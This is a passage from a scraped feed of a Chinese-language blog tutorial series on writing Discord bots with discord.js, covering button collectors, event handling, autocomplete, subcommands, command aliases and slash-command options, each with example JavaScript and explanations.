commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-da8b6abce1aa8943cff70045dec60a8d70461e8f6cb0e5c9327e5235f5ead4c5\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-da8b6abce1aa8943cff70045dec60a8d70461e8f6cb0e5c9327e5235f5ead4c5\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, EmbedBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nlet updatedBtnMsg = new Map();\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n .setName('button')\n .setDescription('Replies with a button!'),\n\n\tasync execute(interaction) {\n\t\tupdatedBtnMsg.set(\"0\", false);\n\n\t\tconst rowDanger = new ActionRowBuilder()\n\t\t\t.addComponents(\n\t\t\t\tnew ButtonBuilder()\n\t\t\t\t\t// Randomize the button's customId for good luck, like \"b4_90372\" or \"b4_1827\".\n\t\t\t\t\t.setCustomId(`b4_${Math.floor(Math.random() * 100000)}`)\n\t\t\t\t\t.setLabel(\"Click me!\")\n\t\t\t\t\t.setStyle(ButtonStyle.Danger),\n\t\t\t);\n\n\t\tconst rowDangerD = new ActionRowBuilder()\n\t\t\t.addComponents(\n\t\t\t\tnew ButtonBuilder()\n\t\t\t\t\t// Because the button is disabled, no one can actually click that.\n\t\t\t\t\t// So there's no avail to randomize its customId.\n\t\t\t\t\t.setCustomId('b4d')\n\t\t\t\t\t.setLabel(\"YOU CLICKED ME!\")\n\t\t\t\t\t.setStyle(ButtonStyle.Danger)\n\t\t\t\t\t.setDisabled(true),\n\t\t\t);\n\n\t\tconst rowSecD = new ActionRowBuilder()\n\t\t\t.addComponents(\n\t\t\t\tnew ButtonBuilder()\n\t\t\t\t\t// Because the button is disabled, no one can actually click that.\n\t\t\t\t\t// So there's no avail to randomize its customId.\n\t\t\t\t\t.setCustomId('b2d')\n\t\t\t\t\t.setLabel(\"It's fine.\")\n\t\t\t\t\t.setStyle(ButtonStyle.Secondary)\n\t\t\t\t\t.setDisabled(true),\n\t\t\t);\n\n\t\tconst embed = new EmbedBuilder()\n\t\t\t.setColor(0x0099FF)\n\t\t\t.setTitle(\"hhzm's blog\")\n\t\t\t.setURL('https://www.cnblogs.com/hhzm/')\n\t\t\t.setDescription(\"hhzm's cnblog site\");\n\n\t\tawait interaction.reply({ content: 'This is a Danger button:', components: [rowDanger], embeds: [embed], ephemeral: false });\n\n\t\tconst filter = i =\u0026gt; {\n\t\t\t// If the target message has been collected and edited by the other collector instance,\n\t\t\t// then return false, telling the current collector that \"do not collect this msg, or else, DIE!!\", LOL.\n\t\t\tif (updatedBtnMsg.has(i.message.id)) {\n\t\t\t\treturn false;\n\t\t\t} else {\n\t\t\t\t// Here, this msg hasn't been collected yet.\n\t\t\t\tif (i.customId.startsWith('b4') \u0026amp;\u0026amp; (i.user.id === interaction.user.id)) {\n\t\t\t\t\t// Here, it fulfills our requirements: a.is a DANGEROUS button(customId starts with \"b4_\"), and b. the \"button msg\"'s author is the person that presses the button\n\t\t\t\t\t// Put this \u0026lt;i.message.id, true\u0026gt; record into the Map, so that we can no longer collect it\n\t\t\t\t\t// (like when many active collectors all see the same button interaction fulfills its requirements, then they all wanna edit the same msg, but to only find the interaction has already been acknowledged and the bot be halted.)\n\t\t\t\t\tupdatedBtnMsg.set(i.message.id, true);\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\t// Here, it doesn't meet all the requirements we need, so do not collect it.\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t// here we used interaction.channel.createMessageComponentCollector()\n\t\t// rather than message.createMessageComponentCollector()\n\t\t// to show you guys how a collector that focuses on channel works.\n\t\tconst collector = interaction.channel.createMessageComponentCollector({\n\t\t\tfilter,\n\t\t\tmax: 1, // We only want this collector instance collects 1 eligible message component\n\t\t\ttime: 15 * 1000, // 15.000 secs\n\t\t});\n\n\t\tcollector.on('collect', async i =\u0026gt; {\n\t\t\tawait i.update({ content: `A DANGEROUS button was clicked! ${i.customId}`, embeds: [], components: [rowDangerD] });\n\t\t\tawait wait(6969);\n\n\t\t\t// use .editReply() rather than another .update() here\n\t\t\t// Passing an empty array to the components option will remove any buttons after one has been clicked.\n\t\t\t// Passing an empty array to the embeds option will remove any embeds after one has been clicked.\n\t\t\tawait i.editReply({ content: `Danger mitigated.`, components: [rowSecD], embeds: [] });\n\t\t});\n\n\t\tcollector.on('end', collected =\u0026gt; {\n\t\t\tconsole.log(`Collected ${collected.size} items`);\n\n\t\t\t// To make sure there's at least one item in the array,\n\t\t\t// to prevent accessing the first element of an empty array, which leads to out-of-bounds memory access\n\t\t\tif (collected.size \u0026gt; 0) {\n\t\t\t\tconsole.log((Array.from(collected.values()))[0].customId);\n\t\t\t}\n\t\t});\n\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141809776-952418961.png\" alt=\"image\" /\u003e\n然后\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119144938255-2082627602.png\" alt=\"image\" /\u003e\n然后\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141819927-1945822726.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e需要注明的是,我们这里的收集器“监听”的是频道(Channel)里的组件事件。消息组件收集器还有另一种监听对象:消息(Message)。\u003c/p\u003e\n\u003cp\u003e监听某个 Channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst collector = interaction.channel.createMessageComponentCollector();\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e此时,只要收集器仍在工作,则该收集器的目标频道里的所有 MessageComponent 事件都可以成为收集器的收集对象。比如本例中,哪怕之前机器人已重启过好几次了,只要有人执行了斜杠命令 /button,那么哪怕是(在这个频道里)上个月的按钮,只要满足了 filter 的条件,也能够被收集器收集到,进而干该干的事。\u003c/p\u003e\n\u003cp\u003e监听某个 Message:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emessage = await interaction.fetchReply();\nconst collector = message.createMessageComponentCollector();\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e此时,只要监听某条特定消息的收集器停止了工作,那么在本例中,没有其他的收集器可以在收集到该按钮的组件事件了,哪怕满足 filter 的条件了也不行。本例使用的是对象是频道的收集器。\u003c/p\u003e\n\u003cp\u003e你可以自由选择是使用对象是频道的消息组件收集器,还是使用对象是消息的消息组件收集器,来简化你的任务。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-9/"},{"title":"Bot in Discord with discord.js (8)","time":"2022-07-15T00:00:00Z","content":"\u003ch2\u003eChapter 10 - 事件处理 Event handling\u003c/h2\u003e\n\u003cp\u003e这一章只是根据新的 discord.js v14.8.0,对已有文件进行小修小补。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如果你是跟着本教程前几章来的,不要跳过本章!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e根据官方的说法,Node.js 使用事件驱动的架构,使得在特定事件发生时执行特定代码成为可能。discord.js 库就充分利用了这一点。\u003c/p\u003e\n\u003ch4\u003e修改后的 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events } = require('discord.js');\n\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\texecute(interaction) {\n\t\tconsole.log(`${interaction.user.tag} in #${interaction.channel.name} triggered an interaction.`);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003e修改后的 \u003ccode\u003eevents/ready.js\u003c/code\u003e\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events } = require('discord.js');\n\nmodule.exports = { \n name: Events.ClientReady, \n once: true, \n execute(client) { \n console.log(`Ready! Logged in as ${client.user.tag}`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003e修改后的 \u003ccode\u003eindex.js\u003c/code\u003e\u003c/h4\u003e\n\u003cp\u003e这个文件改动的地方不算多,但是把完整源码粘贴过来又显得冗杂,因此,我把这次的 git commit 地址放在这里,大家可以自己点开去看。\u003c/p\u003e\n\u003cp\u003ehttps://github.com/wtflmao/discord_bot_example/commit/f6eeddd2d975cb43803075e884bbc4d7174f6dfe\u003c/p\u003e\n\u003cp\u003e如果上面的 Github 链接在国内打不开,你可以使用下面的 Gitee 链接:\u003c/p\u003e\n\u003cp\u003ehttps://gitee.com/wtflmao/discord_bot_example/commit/f6eeddd2d975cb43803075e884bbc4d7174f6dfe\u003c/p\u003e\n\u003ch2\u003eChapter 11 自动完成 Autocomplete\u003c/h2\u003e\n\u003cp\u003e自动完成允许根据用户的输入动态地向用户提供一系列值,而不是依赖于静态选项。你需要学习 Chapter 6 的 Option 才能继续学习本章。换句话说,Autocomplete 只是服务于 Option 的。\u003c/p\u003e\n\u003cp\u003e用户被自动完成提供了一些 choices,但是用户可以键入执行除了给定的 choices 以外的其他任意合法值。想像一个新闻搜索机器人,\u003ccode\u003equery\u003c/code\u003e 项用于接收关键词。用户可以键入任何字符串,但是为了方便用户使用,机器人维护了一个“24小时热搜前一百”的列表,用户只需输入某个字或词,就能把列表里所有相关的新闻标题作为选项展示给用户,以减少用户输入量。当然用户也可以输入自己任何想搜的,不受热搜的限制。\u003c/p\u003e\n\u003cp\u003e在使用自动完成之前,一定要根据 Chapter 9 的内容,修改你的机器人代码,因为 Chapter 9 对 index.js 和 events/interactionCreate.js 做了大改。本章开始的代码直接跑在前八章里是会报错的。\u003c/p\u003e\n\u003cp\u003e自动完成举例:\u003ccode\u003ecommands/autocomplete.js\u003c/code\u003e\nhttps://github.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\nhttps://gitee.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('autocomplete')\n\t\t.setDescription('Autocomplete test.')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The category you'd like to dive in\")\n\t\t\t\t.setAutocomplete(true)),\n\tasync autocomplete(interaction) {\n\t\t\n\t\tconst focusedValue = interaction.options.getFocused();\n\t\tconst choices = ['beer', 'coffee', 'milk', 'apple', 'banana', 'tea', 'zebra'];\n\t\tconst filtered = choices.filter(choice =\u0026gt; choice.includes(focusedValue));\n\t\tawait interaction.respond(\n\t\t\tfiltered.map(choice =\u0026gt;({ name: choice, value: 'v_' + choice })),\n\t\t).then(() =\u0026gt; console.log('Successfully responded to the autocomplete interaction'))\n \t\t.catch(console.error);\n\t},\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tawait interaction.reply(`You acquired some ${category}.`);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e解析:通过 \u003ccode\u003e.setAutoComplete(true)\u003c/code\u003e 来开启一个 Option 的自动完成。\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eautocomplete()\u003c/code\u003e 函数里:\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003einteraction.options.getFocused()\u003c/code\u003e 获取用户在该域内实时键入的值。\u003c/p\u003e\n\u003cp\u003e我们用 choices 数组维护了一些用户可能会输入的字符串,通过 \u003ccode\u003echoices.filter(choice =\u0026gt; choice.includes(focusedValue)\u003c/code\u003e (实时键入的字符串是否是 choices 数组某个元素的字串与否)来判断是否要将该元素加入到针对目前实时键入的值的自动完成响应里去。比如,用户输入 \"ee\",能匹配 \"beer\" 和 \"coffee\"。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003einteraction.respond()\u003c/code\u003e 用于向用户响应自动完成列表。\u003c/p\u003e\n\u003cp\u003e程序执行到现在,用户应还未回车执行命令。\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eexecute()\u003c/code\u003e 函数里:\u003c/p\u003e\n\u003cp\u003e这里是我们最常见的斜杠命令的函数主题了,执行到这里意味着用户已经敲击了回车,执行了斜杠命令。\u003c/p\u003e\n\u003cp\u003e这里是实时输入\"ee\"时,根据我们 filter 设定的规则,自动完成匹配到的:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172041533-543123094.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e当我们执行 \u003ccode\u003e/autocomplete category: news\u003c/code\u003e时:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172055915-1546936651.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e用户的最终输入可以与自动完成的无关,就像没有自动完成的普通 Option 那样对待:\n执行 \u003ccode\u003e/autocomplete category: news\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172117377-303406663.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e我们没有对 category 域设置必填,等价于 .setRequired(false)。因此不理会这个域执行命令也是可以的:\n执行 \u003ccode\u003e/autocomplete\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172123011-1830908788.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多个 Option 的 Autocomplete\u003c/h3\u003e\n\u003cp\u003e上代码:\u003ccode\u003ecommands/autocomplete2.js\u003c/code\u003e\nhttps://github.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\nhttps://gitee.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('autocomplete2')\n\t\t.setDescription('Multi-Autocomplete test.')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The category you'd like to dive in\")\n\t\t\t\t.setAutocomplete(true)\n\t\t\t\t.setRequired(true))\n\t\t.addNumberOption(option =\u0026gt;\n\t\t\toption.setName(\"amount\")\n\t\t\t\t.setDescription(\"How many you want\")\n\t\t\t\t.setAutocomplete(true)\n\t\t\t\t.setRequired(true)),\n\tasync autocomplete(interaction) {\n\t\t\n\t\tconst focusedOption = interaction.options.getFocused(true);\n\n\t\tif(focusedOption.name === \"category\") {\n\n\t\t\tconst choices = ['beer', 'coffee', 'milk', 'apple', 'banana', 'tea', 'zebra'];\n\t\t\tconst filtered = choices.filter(choice =\u0026gt; choice.includes(focusedOption.value));\n\t\t\tawait interaction.respond(\n\t\t\t\tfiltered.map(choice =\u0026gt;({ name: choice, value: choice })),\n\t\t\t).then(() =\u0026gt; console.log('Successfully responded to the autocomplete interaction'))\n\t \t\t.catch(console.error);\n\n\t\t}\n\n\t\tif(focusedOption.name === \"amount\") {\n\n\t\t\tconst choices = [12, 24, 48, 81, 9];\n\t\t\tconst filtered = choices.filter(choice =\u0026gt; `${choice}`.includes(`${focusedOption.value}`));\n\t\t\tawait interaction.respond(\n\t\t\t\tfiltered.map(choice =\u0026gt;({ name: `${choice}`, value: choice })),\n\t\t\t).then(() =\u0026gt; console.log('Successfully responded to the autocomplete interaction'))\n\t \t\t.catch(console.error);\n \t\t\n\t\t}\n\t},\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tconst amount = interaction.options.getNumber(\"amount\");\n\t\t// P.S. .getUser(), .getMember(), .getRole(), .getChannel(), .getMentionable() and .getAttachment() methods are not available to autocomplete interactions.\n\t\t// but .getBoolean(), .getInteger() are available\n\t\tawait interaction.reply(`You acquired ${amount} of ${category}.`);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们设置了两个 Option,一个叫 category,类型是字符串型;另一个叫 amount,类型是 Number 型。\u003c/p\u003e\n\u003cp\u003e针对字符串和 Number 的值处理是不同的,这也使得我们用 \u003ccode\u003eif(focusedOption.name === \"category\")\u003c/code\u003e \u003ccode\u003eif(focusedOption.name === \"amount\")\u003c/code\u003e 来分别处理他们。\u003c/p\u003e\n\u003cp\u003e注意,对 \u003ccode\u003eautocomplete()\u003c/code\u003e 的调用是实时关于用户键入的。这意味着,用户(以一个不太快的速度)每敲一个字符,Discord 客户端都会向机器人后台请求一遍新的 Autocomplete 结果列表。\u003c/p\u003e\n\u003cp\u003e执行 \u003ccode\u003e/autocomplete2 category: tea amount: 24\u003c/code\u003e:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117174254952-147312660.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e执行 \u003ccode\u003e/autocomplete2 category: zombie amount: 7\u003c/code\u003e:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117174259390-53278945.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e允许设置 Autocomplete 的只有 string、integer、boolean 和 number 四类 Option。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst string = interaction.options.getString('input');\nconst integer = interaction.options.getInteger('int');\nconst boolean = interaction.options.getBoolean('choice');\nconst number = interaction.options.getNumber('num');\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e像 .getUser(), .getMember(), .getRole(), .getChannel(), .getMentionable() and .getAttachment(),都不能设置自动完成。\u003c/p\u003e\n\u003ch4\u003e其他注意的地方\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e与其他应用程序命令交互一样,自动完成交互必须在 3 秒内收到响应。\u003c/li\u003e\n\u003cli\u003e你不能推迟对自动完成交互的响应。 如果你正在处理异步建议,例如等待来自 API 的数据,请考虑保留本地缓存。\u003c/li\u003e\n\u003cli\u003e用户选择一个值并发送命令后,将作为常规接收 \u003ccode\u003eChatInputCommandInteraction\u003c/code\u003e 与 Option 的值。\u003c/li\u003e\n\u003cli\u003e你一次最多只能回复 25 项,但如果超过这个数,则可能意味着你应该修改过滤器以进一步缩小选择范围。\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-8/"},{"title":"Bot in Discord with discord.js (7)","time":"2022-07-14T00:00:00Z","content":"\u003ch2\u003eChapter 7 - 斜杠命令的子命令 Subcommands\u003c/h2\u003e\n\u003cp\u003e如果你有一个包含子命令的命令,你可以以使用与解析 Options 和 Choices 的值那样相似的方式解析它们。 以下代码片段详细说明了解析子命令并使用 \u003ccode\u003eCommandInteractionOptionResolver#getSubcommand()\u003c/code\u003e 方法做出相应响应所需的逻辑:\u003c/p\u003e\n\u003cp\u003e代码 \u003ccode\u003ecommands/subCmd.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('subcmd')\n\t\t.setDescription('Subcommand! Reply with user\\'s or server \\'s info.')\n\t\t.addSubcommand(subcommand =\u0026gt; \n\t\t\tsubcommand.setName('user')\n\t\t\t.setDescription('Info about a user')\n\t\t\t.addUserOption(option =\u0026gt; option.setName('target').setDescription('The user')))\n\t\t.addSubcommand(subcommand =\u0026gt;\n\t\t\tsubcommand.setName('server')\n\t\t\t.setDescription('Info about the server')),\n\n\tasync execute(interaction) {\n\t\tif (interaction.options.getSubcommand() === 'user') {\n\t\t\tconst theUser = interaction.options.getUser('target');\n\n\t\t\tif (theUser) {\n\t\t\t\tawait interaction.reply(`Username: ${theUser.username}\\nID: ${theUser.id}`);\n\t\t\t} else {\n\t\t\t\t// 用户没有指定 target user,我们输出命令发起者自己就好\n\t\t\t\tawait interaction.reply(`Your username: ${interaction.user.username}\\nYour ID: ${interaction.user.id}`);\n\t\t\t}\n\t\t} else if (interaction.options.getSubcommand() === 'server') {\n\t\t\tawait interaction.reply(`Server name: ${interaction.guild.name}\\nTotal members: ${interaction.guild.memberCount}`);\n\t\t}\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注意,只有子命令才是真正可以执行的命令,比如上面的代码中 \u003ccode\u003e/subcmd\u003c/code\u003e 没有真正的函数逻辑实现来支撑这个命令,只有子命令 \u003ccode\u003e/subcmd server\u003c/code\u003e 和 \u003ccode\u003e/subcmd user\u003c/code\u003e 才是真正有函数实现的命令。直接执行 \u003ccode\u003e/subcmd\u003c/code\u003e 指望它能干事是不可能的。\u003c/p\u003e\n\u003cp\u003e还是先上效果图,再分析代码:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e输入命令 \u003ccode\u003e/subcmd\u003c/code\u003e 时,提示了两个子命令:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713000603222-1244642579.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e执行 \u003ccode\u003e/subcmd server\u003c/code\u003e :\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713000606307-524172865.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e执行 \u003ccode\u003e/subcmd user @BlogTest\u003c/code\u003e:(注意你需要从提示栏中回车选定 target 用户,可不能直接输入 \"@ + 用户名\" 就完活了,因为可能存在重名用户)\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713014652764-1775725127.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e执行 \u003ccode\u003e/subcmd user\u003c/code\u003e:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713010022170-1269680805.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e分析代码:\u003c/p\u003e\n\u003cp\u003e下面的节选代码,它声明了一个叫 user 的子命令,它的输入参数是一个 Option,一个 User 类型的 Option。这个 Option 叫 target。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addSubcommand(subcommand =\u0026gt; \n\t\t\tsubcommand.setName('user')\n\t\t\t.setDescription('Info about a user')\n\t\t\t.addUserOption(option =\u0026gt; option.setName('target').setDescription('The user')))\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的节选代码,它声明了一个叫 server 的子命令,没有参数。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addSubcommand(subcommand =\u0026gt;\n\t\t\tsubcommand.setName('server')\n\t\t\t.setDescription('Info about the server')),\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的代码,首先上来,判断子命令是 user 还是 server。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果子命令是 user,则通过 \u003ccode\u003einteraction.options.getUser(target)\u003c/code\u003e 获取 target 字段的值,并赋值给 theUser 变量。\n\u003cul\u003e\n\u003cli\u003e如果 theUser 为 null,则用户没有给定值,则会回复用户的信息(用户名和用户的 Snowflake ID)。\u003c/li\u003e\n\u003cli\u003e如果 theUser 非 null,则输出这个用户的信息(用户名和用户的 Snowflake ID)。注意这里的 user 将是一个有效 Discord 用户,不会是无效的 Discord 用户作为输入。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e如果子命令是 server,则回复服务器的信息(服务器名称和服务器人数)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\tasync execute(interaction) {\n\t\tif (interaction.options.getSubcommand() === 'user') {\n\t\t\tconst theUser = interaction.options.getUser('target');\n\n\t\t\tif (theUser) {\n\t\t\t\tawait interaction.reply(`Username: ${theUser.username}\\nID: ${theUser.id}`);\n\t\t\t} else {\n\t\t\t\t// 用户没有指定 target user,我们输出命令发起者自己就好\n\t\t\t\tawait interaction.reply(`Your username: ${interaction.user.username}\\nYour ID: ${interaction.user.id}`);\n\t\t\t}\n\t\t} else if (interaction.options.getSubcommand() === 'server') {\n\t\t\tawait interaction.reply(`Server name: ${interaction.guild.name}\\nTotal members: ${interaction.guild.memberCount}`);\n\t\t}\n\t},\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eChapter 8 - 斜杠命令的多重命令名\u003c/h2\u003e\n\u003cp\u003e比如代码 \u003ccode\u003ecommands/utils/sameCmd.js\u003c/code\u003e,改造自 \u003ccode\u003ecommands/subCmd.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js'); \n \nmodule.exports = { \n data: new SlashCommandBuilder() \n .setName('samecmd') \n .setDescription('Subcommand! Reply with user\\'s or server \\'s info.') \n .addSubcommand(subcommand =\u0026gt; \n subcommand.setName('user') \n .setDescription('Info about a user') \n .addUserOption(option =\u0026gt; option.setName('target').setDescription('The user'))) \n .addSubcommand(subcommand =\u0026gt; \n subcommand.setName('server') \n .setDescription('Info about the server')), \n akaNames: ['samecmd2', 'samecmd3', \"samecmd4\"], \n \n async execute(interaction) { \n if (interaction.options.getSubcommand() === 'user') { \n const theUser = interaction.options.getUser('target'); \n \n if (theUser) { \n await interaction.reply(`Username: ${theUser.username}\\nID: ${theUser.id}`); \n } else { \n // 用户没有指定 target user,我们输出命令发起者自己就好 \n await interaction.reply(`Your username: ${interaction.user.username}\\nYour ID: ${interaction.user.id}`); \n } \n } else if (interaction.options.getSubcommand() === 'server') { \n await interaction.reply(`Server name: ${interaction.guild.name}\\nTotal members: ${interaction.guild.memberCount}`); \n } \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e关键就是中间的 \u003ccode\u003eakaNames: ['samecmd2', 'samecmd3', \"samecmd4\"], \u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e我们为该命令起了 4 个名字:一开始的 \u003ccode\u003esamecmd\u003c/code\u003e,和 akaNames 描述的 \u003ccode\u003esameCmd2\u003c/code\u003e、 \u003ccode\u003esameCmd3\u003c/code\u003e、 \u003ccode\u003esameCmd4\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e对了,我们把代码保存到了 \u003ccode\u003ecommands/utils\u003c/code\u003e 这个新文件夹,为了使得 \u003ccode\u003esameCmd.js\u003c/code\u003e 注册,需要修改 \u003ccode\u003ecmdPaths.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\", \"./commands/utils\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220723060051400-163673119.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220723060119552-533298490.png\" alt=\"image\" /\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-7/"},{"title":"Bot in Discord with discord.js (6)","time":"2022-07-13T00:00:00Z","content":"\u003ch2\u003eChapter 9 - 斜杠命令的参数:Options 和 Choices\u003c/h2\u003e\n\u003ch3\u003e注册斜杠命令是前提\u003c/h3\u003e\n\u003cp\u003eDiscord 为开发人员提供了创建客户端集成斜杠命令的选项。 在本节中,我们将介绍如何使用 discord.js 注册这些命令!任何斜杠命令在可以被使用前,都需要先向 Discord 服务器注册。命令在没做出改动的情况下,不需要每次启动机器人之前注册一遍命令。\u003c/p\u003e\n\u003ch3\u003e选项 Options\u003c/h3\u003e\n\u003cp\u003e应用程序命令可以有选项。你可以将这些选项视为函数的参数并指定它们,如下所示:\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003ecommands/echo.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('echo')\n\t\t.setDescription('Replies with your input!')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName('input')\n\t\t\t\t.setDescription('The input to echo back')\n\t\t\t\t.setRequired(true)),\n\tasync execute(interaction) {\n\t\tconst input = interaction.options.getString(\"input\");\n\t\tawait interaction.reply(input);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们为这个斜杠命令设置了命令名:\u003ccode\u003eecho\u003c/code\u003e,设置了简介说明:\u003ccode\u003eReplies with your input!\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e除此之外,我们为这个命令添加了 option 用于接受命令参数,就像 c 语言函数接收参数那样。\u003c/p\u003e\n\u003cp\u003e这里只有一个 option,类型是字符串类型,只接收字符串(由 \u003ccode\u003e.addStringOption\u003c/code\u003e 看出)。我们为这个 option 设置了名称 \u003ccode\u003einput\u003c/code\u003e,设置了说明 \u003ccode\u003eThe input to echo back\u003c/code\u003e,并设置其为必填(由 \u003ccode\u003e.setRequired(true)\u003c/code\u003e 指定)。\u003c/p\u003e\n\u003cp\u003e命令效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712100547224-825130046.png\" 